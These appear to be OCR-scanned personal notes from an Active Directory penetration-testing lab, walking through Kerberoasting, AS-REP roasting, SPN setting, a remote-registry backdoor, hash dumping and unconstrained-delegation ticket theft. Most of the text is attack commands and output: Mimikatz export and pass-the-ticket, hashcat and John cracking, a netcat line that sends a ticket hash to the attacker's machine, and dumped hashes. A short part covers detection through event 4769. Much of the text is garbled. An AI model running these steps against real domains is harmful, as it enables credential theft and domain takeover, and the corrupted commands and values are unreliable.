Use PowerShell Remoting - Set-RemotePSRemoting.ps1l

# On local machine for <USER>

Set-RemotePSRemoting -UserName <USER> -Verbose

# On remote Machine for <USER> without Cred

Set-RemotePSRemoting -UserName <USER> -ComputerName <DC> -Verbose
# On Remote Machine , Remove the permissions

Set-RemotePSRemoting -UserName <USER> -ComputerName <DC> -Remove

PS C:\AD\Tools> Set-RemotePSRemoting studentadmin dcorp-dc.dollarcorp.moneycorp. local

After Run this command We Can execute PS remote Command :

Invoke-Command -ScriptBlock{whoami} -ComputerName dcorp-dc.dollarcorp.

Ps c:\Users\studentadmin> Invoke-Command {whoami} dcorp-dc.dollarcorp.moneycorp.local

PS C:\Users\studentadmin> Invoke-Command {whoami} dcorp-dc.dollarcorp.moneycorp.local
dcorp\studentadmin

Security Descriptor - Remote Registry

#Using DAMP , with Admin privs on remote machine
Add-RemoteRegBackdoor -ComputerName <DC> -Trustee <USER> -Verbose

Load DAMP with Domain Admin Privs

Windows Powershell
Copyright (C) 2016 Microsoft Corporation. A1l rights reserved.

PS C:\Windows\system32> cd C:\AD\Tools\DAMP-master\DAMP-master\
PS C:\AD\Tools\DAMP-master\DAMP-master> . .\Add-RemoteRegBackdoor.psl
PS C:\AD\Tools\DAMP-master\DAMP-master>

Now Run this command on Domain Admin :

Add-RemoteRegBackdor -ComputerName dcorp-dc -Trustee studentadmin -Verbose
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omputerName BackdoorTrustee

Now on studentadmin machine run this command

Get-RemoteMachineAccountHash -ComputerName dcorp-dc -Verbose
# Get Machine Account Hash

PS C:\Users\studentadmin> . C:\AD\Tools\DAMP-master\DAMP-master\RemoteHashRetrieval.psl

Ps c:\Users\studentadmin> Get-RemoteMachineAccountHash dcorp-dc

ERBOSE: Bootkey/SysKey : 42576392BDFD82ECHFE49596468C5A40

ERBOSE: LSA Key : 2D08F4DD4915AE98D482F7AADB3406D4D1ADCD294C7C109B952CO0E4EC86B4ABE

omputerName MachineAccountHash

dcorp-dc b77a0d8f1b893aad9cfad4d4335702344

# Get Local Account Hash

Get-RemoteLocalAccountHash -ComputerName dcorp-dc -Verbose
#Get Domain cached credentials

Get-RemoteCachedCredential -ComputerName dcorp-dc -Verbose

PS C:\Users\studentadmin> Get-RemoteLocalAccountHash dcorp-dc
Bootkey/Syskey : 42576392BDFD82EC6FE49596468C5A40
HBootKey : B2A60B481402B5EC83ED2E7EEC56B037B26E12FE29AF7CODALLC1DO307DBOFEY

ComputerName : dcorp-dc
: Administrator
500
5958d2100d77ab8alabcde4fecf33faz
e42373743088d40a26b3d9ff44a0e8fe

dcorp-dc
Guest
501
: d4507145f5585F7ffcfa63bb24db5252
UserNTLMHash : ddaf5a968fca2f358cc0691e8e4936¢c3

computerName : dcorp-dc
UserName : DefaultAccount

: 503

: bdf5e20258402cd21bbf29128707d876
UserNTLMHash : a5d127caef9284f81408ef6bb33e8318

Kerberoasting allows a user to request a service ticket for any service with a registered
SPN then use that ticket to crack the service password. If the service has a registered SPN
then it can be Kerberoastable however the success of the attack depends on how strong the
password is and if it is trackable as well as the privileges of the cracked service
account.

The service accounts can be linked to hosts like computers (CN=Computers) or domain users
(CN=Users). Each service account can be mapped to a set of running services like MSSQL,
Wweb, SharePoint, File shares, Exchange services, etc., within the domain known as Service
Principal Names (SPNs).

? service Principal Name

The structure of an SPN consists of 2 main parts: Service Class:the service type,
i.e., SQL, web, Exchange, File,etc., and the Host
where the service is usually running in the format of FQDN (FullyQualified Domain Name)
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and port number. For example, below, the Microsoft SQL service runs on the dcorp-mgnt host on
port 1443

The SPN is MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local:1433

service_class/hostname_or_FQDN
service_class/hostname_or_FQDN:port

bbject Name = krbtgt]
5 C

oN

dcorp-mgmt.dolTarc
dcorp-mgmt. dollarcorp

Kerberoasting
works best against user service accounts configured with weak passwords, not the host-based
computer accounts that use random 128 character passwords that are changed every 30 days.

@ The attack’s goal is to retrieve the cleartext passwords of service accounts to either
escalate our privileges since most service accounts run with admin-related privileges or
pivot laterally within the network.

$_Attack_Pre-requisites
« Credentials of a valid domain user service account (not a computer account).
« Service Principal Names of the services tied to the service user account.

« Service ticket (TGS) for the running service.

Note the vulnerable domain member - a user account with serviceprincipainame attribute set,
which is very important piece for kerberoasting - only user accounts with that property set
are most likely susceptible to kerberoasting:
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CN=IIS Service Account Properties _
Attribute Editor | Security

Attributes:
Attribute Value A
name II5 Service Account
objectCategony CN=Person CN=Schema .CN=Configuration,DC
objectClass top; person; organizational Person; user
objectGUID F7d ¥06b-bc08-4dadb335c351c 056891
object Sid 5-1-5-21-4172452648-1021585553-23685021:
primaryGroup|D 513 =(GROUP_RID_USERS)
pwdlast Set 8/18/2018 6:02:53 PM GMT Daylight Time
replPropetyMetaD...  AtID Ver Loc. USN Org.DSA

sAMAccountMame  iis_svc
sAMAccount Type 805306368 = { NORMAL_USER ACCOUNT}

senvicePrincipalName  HTTP./dc-mantvydas offense local

userAccountControl (10200 = { NORMAL_ACCOUNT I DONT_EX

userPrincipalMame iiz_svc@offense local
uSMChanged 180400 -
£ m >

First need to identify all the running services mapped to the service account and their
privileges through the SPN attribute.

Attacker enumerating user accounts with serverprincipalname attribute set:

#PowerView

Get-NetUser -SPN

Get-NetUser | Where-Object {$_.servicePrincipalName} | f1

#ActiveDirectory Module

Get-ADUser -Filter {ServicePrincipleName -ne "$null"} -Properties ServicePrincipleName

# Using only built-in powershell, we can extract the susceptible accounts with:

get-adobject | Where-Object {$_.serviceprincipalname -ne $null -and $_.distinguishedname -like "*CN=Users*" -and $_.cn -ne "krbtgt
#It would have been better to use the following command because of the -filter usage (quicker than select-object)

get-adobject -filter {serviceprincipalname -like “*sql*”} -prop serviceprincipalnam

PS c:\AD\Tools\ADModule-master> Get-ADUser {servicePrincipalname } ServicePrincipalName

DistinguishedName : cN=krbtgt,CN=Users,DC=dol1larcorp,bDC=moneycorp,Dc=local
Enabled : False
GivenName

krbtgt

user
Ed5064bf—ef00—4e05—b54a—35e95e5d0617

S-1-3-71-765341927-4156871508-1792461683-502

UserpPrincipalName

DistinguishedName : CN=svc admin,CN=Users,DC=dollarcorp,DC=moneycorp,DC=Tocal
Enabled True

GivenName svc

Name SvC admin

objectclass user

objectGUID Saaff3aa-6d03-48b8-b093-6a595d86f4aa

SamAccountName svcadmin

ServicePrincipa IName p-mg .moneycorp. A .dolTarcorp.moneycorp.loca
SID S-1-5-21-26834192/- 413()8/1508 1/92461683-1122

Surname admin

UserPrincipalName : svcadmin

Additionally, user accounts with SPN set could be extracted with a native windows binary:

setspn -T offense -Q */*
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DN for

NMTROLLER. local
LER.local
LER.local

TROLLER.local

LER.local

TROLLER.local

LER.local

Attacker requesting a kerberos ticket (TGS) for a user account with serviceprincipalvame set to
depend on the output - it gets stored in the memory:

# Request a TGS .

Add-Type -AssemblyName System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "{ServicePrincipleName}"
#PowerView

Request-SPNTicket

Ps c:\AD\Tools\ADModule-master> Add-Type System.IdentityModel
Ps c:\AD\Tools\ADModule-master> New- object System.IdentityModel.Tokens.KerberosRequestorsecurityToken

: uuid-eb79c0f7-fd9d-4217-bf97-4131ee4c3589-1
: {system.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
: 12/28/2018 12:13:47 PMm
1 12/28/2018 9:47:44 pM
[servicePrincipalName : MSsQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local
[securitykey : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

klist - check if the TGS has been granted

Client: studentadmin DOLLARCORP .MONEYCORP . LOCAL

Y HlMS SQLSyc /dcorp-mgmt . do | larcorp.moneycorp. local @ DOLLARCORP.MONEYCORP.LOCAL
KerbTicket EncFyption Type: RSADSI RC4-HMAC(NT)

Ticket Flags 0x40al0000 -> forwardable renewable pre_authent name_canonicalize
start Time: 12/28/2018 12:13:47 (local)

End Time: 12/28/2018 21:47:44 (local)

Renew Time: 1/4/2019 11:47:44 (local)

session Key Type: RSADSI RC4-HMAC(NT)

cache Flags: 0

Kdc called: dcorp-dc.dollarcorp.moneycorp.local

Using mimikatz, the attacker extracts kerberos ticket from the memory and exports it to a
file for cracking:

Invoke-Mimikatz -Command '"kerberos::list /export"'

[00000002] - 0x00000017 - rc4_hm:
start/End/MaxRenew: 12/28/2018 12 13:47 pM_; 12/28/2018 9:47:44 PM ; 1/4/2019 11:47:44 AM
server Name : MssQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local @ DOLLARCORP.MONEYCORP.LOCAL

client Name : studentadmin @ DOLLARCORP.MONEYCORP.LOCAL
Flags 40a10000 : name_canonicalize ; pre_authent ; renewable ; forwardable ;
* saved to file Hll2 -40a10000-studentadmin@VSSQLSvc~dcorp-mgmt . do
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Now i will use a nc to transfare the hash to my machine

# On my Machine :

nc -1lvp 443 > ker.bin

# On the target machine

nc <ip> <port> < [PATH_Of_The_Hash]

Cracking the Ticket

# Using tgsrepcrack.py
python tgsrepcrack.py <PASS_LIST> ker.bin // Recomended use list -> 10k-worst-pass.txt
# Using hashcat

Reference

Observations

Below is a security log 4769 showing service access being requested:

# event_id @am#* ¢76
t host.name @ QD% de-mantvydas

t keywords @ QD% Audit Success

t level @ QD * Information

t log_name @ Qm* security

t message @ QD * A Kerberos service ticket was requested.

Account Information:

Account Name: SpotTessEOFFENSE. LOCAL
Account Domain. OFFENSE. LOCAL
Logon GUID: {5267 3DA3-4854-9A36-731A-ASEG1SEDDBEL }

Service Information:
Service Name: iis_sve
Service T0: 5-1-5-21-4172452645-102198995 3-2368502130-1112

Network Information:
fent Address +FFFF110.0.0.2
Client Port: 49348

Additional Information

Ticket Options 0x40510000
Ticket Encryption Type: Ox17
Failure Code: ox0

Transited Services:
This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the doma
in controller which issued the service ticket

Ticket options, encryption types, and failure codes are defined in RFC 4120,

If YOU See Add-event -AssemblyName SystemIdentityModel

(from advanced Powershell logging) followed by a windows security event 4760 immediately
after that, you may be looking at an old school Kerberoasting, especially if ticket
encryption type has a value oxi7 (23 decimal, meaning it's RC4 encrypted):

Time event_data.ServiceName message
»  August 19th 2018, 20:54:24.33%9 dis_svc A Kerberos service ticket was requested

Account Information:

Account Name: spotless@OFFENSE. LOCAL
Account Domain: OFFENSE. LOCAL
Logon GUID: {528F3DA3-4884-9436-731A-A9EG1SEDDBEL}
»  August 19th 2018, 20:54:23.253 - P5 C:\Users'spotless.OFFENSE> Add-Type -AssemblyName System.IdentityModel

Traffic

elow is the screenshot showing a request being sent to the Ticket cranting service (TGS) for the
service with a servicePrincipalName #tTp/dc-mantvydas.offense.local &
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Mao. Time Source Destination Protocol Length Info

10 0.0189350010.0.0.2 10.0.0.
11 0.0190660010.0.0.2

TCP 54 49216-88 [ack] Seg=l A
KRES 1654 TGS-REQ

=)

Frame 11: 1654 bytes on wire (13232 bits), 1654 bytes captured (13232 bits) on interface
Ethernet II, Src: CadmusCo_fb:96:41 (08:00:27:fb:96:41), Dst: CadmusCo_71:d8:7d (08:00:27
Internet Protocol Wersion 4, Src: 10.0.0.2 (10.0.0.2), Dst: 10.0.0.6 (10.0.0.6)
Transmission Control Protocol, Src Port: 49216 (49216), Dst Port: 88 (88), Seq: 1, Ack: 1
= Kerberos
= Record Mark: 1596 bytes
Duvt tiit vais seee seas waws saa- .... = Reserved: NOU set
. 000 0000 Q000 000C 0000 0110 0011 1100 = Record Length: 1596
= tgs-req
pvno: 5

msg-type: krb-tgs-req (12)
padata: 1 item
= reg-body
Padding: O
kdc-options: 40810000 (forwardable, renewable, canonicalize)
realm: OFFENSE.LOCAL
= sname
name-type: KRBS-NT-SRV-INST (2)
= name-string: 2 items
Kerberosstring: HTTP
Kerberosstring: dc-mantvydas.offense.local
Till: 2037-09-13 02:48:05 (UTC)
nonce: 1608899909
B etype: 5 items
ENCTYPE: eTYPE-AES256-CT5-HMAC-5HA1-96 (18)
ENCTYPE: eTYPE-AES128-CTS-HMAC-SHA1-96 (17)
ENCTYPE: eTYPE-ARCFOUR-HMAC-MDS (23)
ENCTYPE: eTYPE-ARCFOUR-HMAC-MD5-56 (24)
ENCTYPE: eTYPE-ARCFOUR-HMAC-OLD-EXP (-135)
B enc-authorization-data
etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
cipher: 9bcclel3a83b65de52c5888ffh0aB23ecef94ceed4672c40. .. p

¥ Priv Esc - Kerberoasting - AS-REPs - SPN
First of All , What is AS-REPs?

AS-REP is a Kerberos message type that refers to an "Authentication Service" (AS) response
message. It is transmitted between a kerberos server and client as part of the exchange of
credentials needed to access a service.

More Information

What is AS-REP roasting?

is a technique that allows retrieving password hashes for users that have opo not require kerberos
preauthentication property selected:

Userlogon name

[spot | [@cffense ocal v

Userlogon niame (pre-Windows 2000)
[oFFENSE | [sot |

[ Unlock acsount

Account options:

[ Use Kerberos DES encryption types for this account ~
[ This account supports Kerberos AES 128 bit encryption

[[] This account supports Kerberos AES 256 bit encryption D
[#IDo not require Kerberos preauthentication -

Accourt expires

With sufficient rights (GenericWrite or GenericAll), Kerberos preauth
can be forced disabled as well.
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Enumerate Accounts with Kerberose Preauth Disable

# PowerView

Get-DomainUser -PreauthNotRequired -Verbose

So , i Got Two Account The Kerberose Preauth was Disable:

Note: i use Attacking Kerberose Machine From TryHackMe!

samaccountname
admincount

samaccounttype
countexpires
untrycode
whenchanged
instancetype
isncreated
bjectguid
astlogoff
bjectcategory
repropagationdata
civenname
memberof

astlogon
badpwdcount
cn
iseraccountcontrol
whencreated
primarygroupid
pudlastset

g 21-43295348
: Admin2

L |

]

: USER_OBJECT

88£0611bd879

Configuration,DC=CONTROLLER,DC=local
1/1/1681 12:60:00 AM}

: Group Policy Creator Owners,OU=Groups,DC=CONTROLLER,DC=local,
Admins ,OU=Groups,
: 5/25/2020 3:49:082 PM

NTROLLER,DC-local...}

nsds-supportedencryptiontypes :

isnchanged

ogoncount
badpasswordtime
istinguishedname

isplayname

astlogontimestamp
iserprincipalname
name

bjectsid
samaccountname
codepage
samaccounttype
accountexpires
countrycode
whenchanged
instancetype

bjectcategory
scorepropagationdata
ivenname
astlogon
badpwdcount
cn
iseraccountcontrol
whencreated
primarygroupid
pudlastset

C=CONTROLLER,DC=1local
tionalPerson, user}

: USER_OBJECT

: NEVER

H

: 5/25/2020 18:35:41 PM

H f5b-4984-418d-aba@-6998cb75ec92
: 12/31/1600 4:80:00 PM

Person, chema, (

601 12:00:00 AM

Configuration,DC=CONTROLLER,DC=local

5/25/2028 3:49:02 PM
1
: User-3
: NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, DONT_REQ PREAUTH
/2020 10:3 PM

nsds-supportedencryptiontypes :

Force Disable Kerberose PreAuth

# Checking current groups ACL rights:
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Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}

# Disabling kerberos pre-auth for a user:

Set-DomainObject -Identity <USERNAME> -XOR @{useraccountcontrol= 4194304 } -Verbose

4194304 — DONT_REQ_PREAUTH

| Get the Hashes of all

i’1l to use Rubeus.exe

Rubeus e asreproast /format:hashcat /nowrap [/user:USER] [/outfile:FILEPATH]

| # Crack with hashcat

hashcat asreproast.txt -m 18200 /usr/share/wordlists/rockyou.txt --force
Or Crack the hash with jonn

john --format:krb5asrep asrep.txt --wordlist=/usr/share/wordlist/rockyou.txt

Or i can get hash of user by ASREPRoast:

# Use ASREPRoast:

Get-ASREPHash -UserName VPNluser -Verbose
# Do all automatically:

Invoke-ASREPRoast -Verbose

# Crack using John
./john vpniluser.txt --wordlist=wordlist.txt

BT (nactive)

SET SPN

wWith enough rights (GenericAll/GenericWrite), a target user's SPN can be set to anything
(unique in the domain).

We can then request a TGS without special privileges. The TGS can then be "Kerberoasted".

PowerView_dev

# Viewing our ACL permissions:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}

# Check if user has SPN:
Get-DomainUser -Identity supportuser | select serviceprincipalname

ADModule
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# Check if user has SPN already:
Get-ADUser -Identity supportuser -Properties ServicePrincipalName | select ServicePrincipalName

CN=Support7user,CN=Users,DC=dollarcorp,DC=moneycorp,Dc=1ocal
AccessAllowed

GenericAll

None

None

AccessAllowed

None

S-1-5-21-268341927-4156871508-1792461683-1246

RDPUsers

InheritanceFlags
securityIdentifier
IdentityReferencename
IdentityReferenceDomain dollarcorp.moneycorp.local

IdentityReferenceDN CN=RDP Users,CN=Users,DC=dollarcorp,DbC=moneycorp,DC=1ocal
IdentityReferenceclass : group

Setting SPN (must be unique for domain)PowerView / SharpViewADModulel

mainuser supportluser | select serviceprincipalname

PowerView_dev

Set-DomainObject -Identity USER -SET @{serviceprincipalname='ops/whateveri'}
## Clean up
Set-DomainObject -Identity USER -clear serviceprincipalname

ADModule

Set-ADUser -Identity supportluser -ServicePrincipalNames @{Add='ops/whatever1'}

After Set SPN:

Ps c:\Users\studentadmin> Set-Domainobject supportluser {serviceprincipalname
Ps c:\Users\studentadmin> Get-Domainuser supportluser | select serviceprincipalname

serviceprincipalname

Extraction and cracking same as kerberoasting.

Request a ticket
Add-Type -AssemblyNAme System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ops/whateveri1"

klist
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cliant- studentadmin @ DOLLARCORP.MONEYCORP.LOCAL

server: pps/whateverl @ DOLLARCORP.MONEYCORP.LOCAL

KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)

Ticket Flags 0x40al0000 -> forwardable renewable pre_authent name_canonicalize
start Time: 12/28/2018 12:33:52 (local)

End Time: ? 18 21:47:44 (local)

Renew Time: 1/4/2019 11:47:44 (local)

session Key Type: RSADSI RC4-HMAC(NT)

cache Flags: 0

Kdc called: dcorp-dc.dollarcorp.moneycorp.local

Export all tickets using Mimikatz

Invoke-Mimikatz -Command '"kerberos::list /export"'

Brute-force the password

python.exe .\tgsrepcrack.py .\10k-passwords.txt '.\2-40a10000-studenti@ops~whateveri-dollarcorp.moneycorp.LOCAL.kirbi'

PS C:\"-‘ADRTOE']s"xker‘beroast:» python.exe .\tgsrepcrack.py .\1Ok-worst-pass.txt .\4-40al0000-studentadmin@ops~whateverl-DOLLARCORP.MONEYCOR
P.LOCAL.kirbi

found password for ticket 0: Support@l23 File: .\4-40a10000-studentadmin@ops~whateverl-DOLLARCORP.MONEYCORP.LOCAL .kirbi

Al1l tickets cracked!

What is the Delegation?

Delegation is the act of giving someone authority or responsibility to do something on
behalf of someone else.

il et of alil abl of apMo o ooz .

In the Active Directory,

is a feature that enables specific accounts ( user or computer ) to impersonate other accounts to
access particular services on the network.

B Types of Delegations allowed with Kerberos:
1. Uncostrained - General/Basic.
2. Constratind.

3. Resource-based Constrained delegations.

Unconstrained:

« Allows the first hop server ( web server in Example ) to request access toO any service on
any computer in the domain.
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Web Server

Database Server

1. User Authenticate to DC

2. DC return TGT

3. User Request TGS for a web Service

4. DC provides the TGS

iyl wosnSdl Jos Jio Loles

5. User send TGT & TGS to web server ( user TeT is also embeded inside 765 ) i)l 0,59 Lling

6. web server service account Use user TGT to request a TGS for os server from the dc

7. Web Server Service Account connects to database server AS user

@ 1Important

The TGT is extracted from TGS and Stored in LSASS, This way the server
can reuse the user’s TGT to access any other resource as The user

#PowerView;
Get-NetComputer -Unconstrained

#ADModule;
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}

Ps c:\Users\studentadmin> Get-NetComputer
dcorp-dc.dollarcorp.moneycorp. local
dEGFP=apPsry . dollarcorp.moneycorp.local

PS C:\Users\studentadmin> _

In this output;
dcorp-dc —» by always show up unConstrained Delegation enable, so Skip it.

derop-appsrv. —» We Will Focus on this machine.

Attack Requirements:
1. a User Or Computer account with Delegation option enabled (dcrop-appsrv)
2. Local Admin Privileges on the Delegated compromised host:

we need compromise the server(s) where Unconstrained delg is enabled.

So, We Need Machine that have Local Admin priv :
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sekurlsa::pth /user:appadmin /domain:dollarcorp.moneycorp.local /ntlm:d549831a955fee51a43c83efb3928fa7 /run:powershell.exe

And then inside appadmin machine check wither computer have local admin access:

Find-LocalAdminAccess

EN pdministrator: ChAWindows\System3 2\WindowsPowerShellv1 0\powershell.exe

016 Microsoft Corporation. All rights reserved.

! ools\PowerView.psl
Find- Lora1ndm1nqrcere

dcorp=-adminsr do'l'larcorp moneycorp. local
dcorp-stdadmin.dollarcorp.moneycorp.local
dcorp-appsrv. do'l]arcor'p moneycorp. local

Niiice i found this machine have LocalAdminAccess And also UnConstrained Deleg

Via appsrv machine we can extract any wuser TGT ON appsrv machine

#Inside appadmin box

# Create session appsrv

$sess = New-PSSession -ComputerName dcorp-appsrv.dollarcorp.moneycorp.local
# Load MimiKatz on This machine appsrv

Invoke-Command -FilePath C:\AD\Tools\Invoke-Mimikatz.psl -Session $sess

o = 'Sy arShelll.Dpowershellaxe o
Windows Powershell
Copyright (C) 2016 Microsoft a A11 rights reserved.

ndows\system3
nds el

corp.moneycor|
dadmin. dol1arcorp. moneycorp. local
/. dot Tarcorp. noneycorp. Tocal
orp_appsry.dollarcorp. moneycorp. local
for e RS R i \AD\Tac1s\Invnke Mimikatz.psl -Session ssess

PS C:\Windows\system3

So, It’s Detected By AMSI, We need to bypass it

# Enter-PSSession
Enter-PSSession -Session $sess

:\Windows\system32> Enter-PSSession
[dearp=appsEy.dollarcorp.moneycorp. local]:
[dcorp-appsrv.dollarcorp.moneycorp. 'Ion.aI]:

) ( [TYpE]( )

).C

dollarcorp.moneycorp.local]: = s\appadmin\Documents>
: -Command \ADY\ 1 nvoke-Mimikatz.psl

Export all Avalible Ticket on this machine appsrv
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Invoke-Mimikatz -Command '"sekurlsa::tickets /export"' -> # /export save into disk
1s | select name

dcorp-appsrv.dollarcorp.moneycorp.locall: PS ¢C:\Users\appadmin\Document serstadmin> 1s select name

;3984189]-2-0-60a10000-appadmin@krbtgt-DOLLARCORP. MONEYCORP. LOCAL. ki

3984bb0] -2-0-60al0000-appadmi btgt-DOLLARCORP. MONEYCORP. LOCAL. kirbi
; 398504d] -2-0-60a10000-appadmin@krbtgt-DOLLARCORP. MONEYCORP. LOCAL. kirbi
;39854b1]-2-0-60a10000-appadmin@krbtgt-DOLLARCORP. MONEYCORP. LOCAL. kirbi

;384]-0-0-40a50000-DCORP-APPSRV ifs-dcorp-dc.dollarcorp.moneycorp.local.kirbi
':e4] -0-1-40a50000-DCORP- APPSRM dap-dcorp-dc.dollarcorp.moneycorp.local.kirbi
4] -0-2-40a50000-DCORP dap-dcorp-dc. d01Tarcorp moneycorp.local.kirbi

0 L btgt- DOLLﬁPtGFP MONEYCORP . LOCAL . kirbi

1.kirbi

appadmin , appsrv are not interesting, so let’s wait for any interesting ticket to be present

# Use Invoke-UserHunter Pull -> To Catch the Ticket from any user that make some operation

Invoke-UserHunter -ComputerName dcorp-appsrv -Poll 100 -UserName Administrator -Delay 5 -Verbose

We’ 1l wait for any session from Aadministrator

dcorp-appsrv Administrator
Runninq Invoke-UserHunter with delay of 5
Polling for 100 seconds. Automatically enabling threaded mode.
Using target user 'Administrator’
ng threadwng ith threads = 1

,er'\studentadm1 e-userHunter dcorp-appsrv Administrator
[*] Runn1nL VO userHunter with delay of 5
- 100 secondr Automatically enabling threaded mode.
[*] using target user 'Administrator’
using threading with th 1
] Total number of hosts: 1
vaiting for threads to i

serDomain
serName

essionFromName
ocalAdmin

Now do again Invoke-Mimikatz -Command '“sekurlsa::tickets /export”'

And Boom We Got it

/ .LOCAL.kirbi
(3 EOalODOU-appadmw rbtjt-ﬂuLLARCOPF‘ ﬂOhE\COPF‘ LOCAL . kirbi
39350441]— -0-60a10000-appadmi Fbtgt-DOLLARCORP.MONEYCORP. LOCAL . kirbi
854b1] -2-0-60a10000 ppadmwnmkrbtut DOLLARCORP . MONEYCORP. LOCAL . kirbi
39f28c6]-2-0-60a10000 rbtgt-DOLLARCORP.MONEYCORP. LOCAL . kirbi
39f2955]-2-0-60a10000 tudentadmm krbtgt-DOLLARCORP.MONEYCORP. LOCAL. kirbi
f2b4b]-2-0-60a10000-appadmin@krbtgt-DOLLARCORP . MONEYCORP. LOCAL . kirbi
1-2-0-60a10000-appadmi rbtgt-nOLLAR.CORP.MOhE'\‘CORP.LOCAL.k1rt|1
corp.moneycorp. .kirbi
kirbi
-kirbi
btgt-DOLLARCORP . MONEYCOI

1-0-0-40a50000-DCORP-APPSRV$@C fs-dcorp-de.dollarcorp. moneycorp. local.kirbi
3e7]-0-1-40a50000.k

mLDAF‘—d(m‘p—d[.do.131‘(u|‘p.muney(m‘p. local.kirbi
Tdap-us-dc.us.dollarcorp.moneycorp.local.kirbi
dcorp-dc.dollarcorp.moneycorp. local.kirbi
krbtgt-DOLLARCORP.MONEYCORP.LOCAL . kirbi
(CORP.LOCAL.Kkirbi
3e7]-2-2-40a50000-DCORP-, APPSRV! krbtgt-Us. DOLLARCORP NEYCORP. LOCAL. kirbi

So Now Use Mimikatz to passTheTicket:

Invoke-Mimikatz -Command '"kerborse::ptt <name_of_ticket>""'
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[dcorp-appsrv.dollarcorp.moneycorp.local]: PS C:\Users\appadmin\Documentsi\userstadmin> Invoke-Mimikatz

mimikatz 2.1.1 (x64) built on Jul 18 2018 15:40:54 - 1i1!
A La Vie, A L'Amour” - (oe.eo)
njamin DELPY "gentilkiwi  ( benjamin@gentilkiwi.com )
> http://blog.gentilkiwi.com/mimikatz
vincent LE TOUX ( ncent. letoux@gmail.com )

> htt pingcastle.com / http ysmartlogon.com
nimikatz(powershell) # kerberos::ptt [0;39f28c6]-2-0-60a10000-Administrator@krbtgt-DOLLARCORP . MONEYCORP.LOCAL.kirbi
F File: '[0;39F28c6]-2-0-60al10000-Administrator@krbtgt-DOLLARCORP. MONEYCORP. LOCA

[dcorp-appsrv.dollarcorp.moneycorp.local]: PS C:\Users\appadmin\Documents\userstadmin>

Now This way help us to escalate domain admin from uncostrained delegation.

[dcorp-appsrv.dollarcorp.moneycorp.locall: PS C:\Users\appadmin‘\Documents\userstadmin> 1s dcorp-dc.dollarcorp.moneycor
p-localics

Directory \dcorp=-dc.dollarcorp.moneycorp.local‘c$

Length Name

PerflLogs

Program Files
Program Files (x86)
Temp

Users

windows

[dcorp-appsrv.dollarcorp.moneycorp. local]: PS C:\Users\appadmini\Documents\userstadmin>
PS C:\windo system3z2> _

Constrained:

( Specified Services on Specified Computers )

If you have compromised a user account or a computer (machine account)
that has kerberos constrained delegation enabled, it's possible to
impersonate any domain user (including administrator) and authenticate
to a service that the user account is trusted to delegate to.

« Allows the account with The “trust this user/Computer for delegation to specified services only” enabled
to impersonate awr user tOo access specific service Llisted in the allowble delegation list

As seen below in rigures 1 and 2, delegation properties are set for
specific service types and hosts (Service Principal Names - SPNs) for user
or computer accounts.
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eb_svc Properties ? X

Organization ~ Published Certficates ~ Member Of  Password Replication
Diakin Object Securty Environmernt Sessions
Remote control  Remote Desktop Services Profie  COM+  Aftribute: Editor
General  Address  Account  Profle  Telephones  Delegation
Delegation is a security-sensttive operation, which allows services to act on

behaff of another user.

(O Do not trust this user for delegation

(O Trust this user for delegation to any service (Kerberos only)

(® Trust this user for delegationfto specfied services only Constained
@ Use Kerberos only
(O Use any authentication protocol
Services to which this account can present delegated credentials

Service Type  User or Computer Port Service|
HOST Contpkimum_contoso.com
mess Contpkimum.contoso.com
< s
] Expanded Add Remove
ok ][ conea | [0 Heb

This configuration of a constrained delg for a user

8 ws02 Computer
WSO02 Properties [ |
Location | Managed By | Object | Secus Dialin | _Atirbute Editor
General | Operating System | MemberOf | Delegation | Password Repication
Delegationis a securty . which allows toacton
behaf of ancther user.

D Do ot trust this computer for delegation

D Trust this computer for delegation to any service (Kerberos only)

® Trust this computer for delegation l

Use Kerberos only
Services to which this accourt can present delegated credentials

Service Type  User or Computer Port Service N
cfs dc01 offense local offense loc
ldap dc01 offense Jocal DomainDr|

ok | [ Cancel ; [heo ]

This configuration of a constrained delg for a computer

So , This type of delegation gives a massive responsibility to the front-end services to
authenticate the user. In this case, the user doesn’t authenticate to the Kerberos domain controller (KDC)
directly . Instead, it will authenticate to the service first, then the service
impersonates the user to access the requested resource.

@ note

User Must get a valid TGT to request TGS, So How to get valid TGT?

1. Initially sending a timestamp which is encrypted and sign with NTLM hash of the user
password

To impersonate the user, Service For user ( S4U ) extension is used
which provides two extensions:

Kerberos Protocol does this type of delegation with two (2)
extensions:

1. ¢ service for User to self (sauzself) — Kerberos protocol transition extension. -

a. Service request TGS for it’s self from the DC without supplying the password
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b. Service account must have the - trusTED To_AUTHENTICATE FOR DELEGATION (T2A4D)
UserAccessControl (UAC) Attribute.

c. Allows a service to obtain a forwardable TGS to itself on behalf of a user.

i. just with the user principal name without supplying password.

2. e service for User to Proxy (sauzeroxy) — Kerberos Constrained Delegation extension.
a. Allows a service to obtain a TGS to a second service on behalf of a user.

i. Because this is constrained Delegation that’s mean - it cannot be request a
TGS by any service it must be some specific service That is controlled by
msbS-AllowedTobelegateto Attribute. this contain list of SPNs to which the user
tokens are 71es can be forwarded

Authentication Flow:

4+ Auser-Joe, authenticates to the web service (running with Web Server
service account websvc) using a Aon=Kerberes compatible
authentication mechanism.

2+ The web service requests a ticket from the KeyDistribution

Center KDC‘ for Joe's account withoutssupplyingampasswerd, 1
as the
2+ The kD@ checks the websve userAccount@ontrol value for the User
2

i

TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION attribute,
and that Joe's account is not blocked for delegation. If OK it
returns a forwardable ticket for Joe's account (S4U2Self).
M+ The service then passes this ticket back to the KDC and 4 %
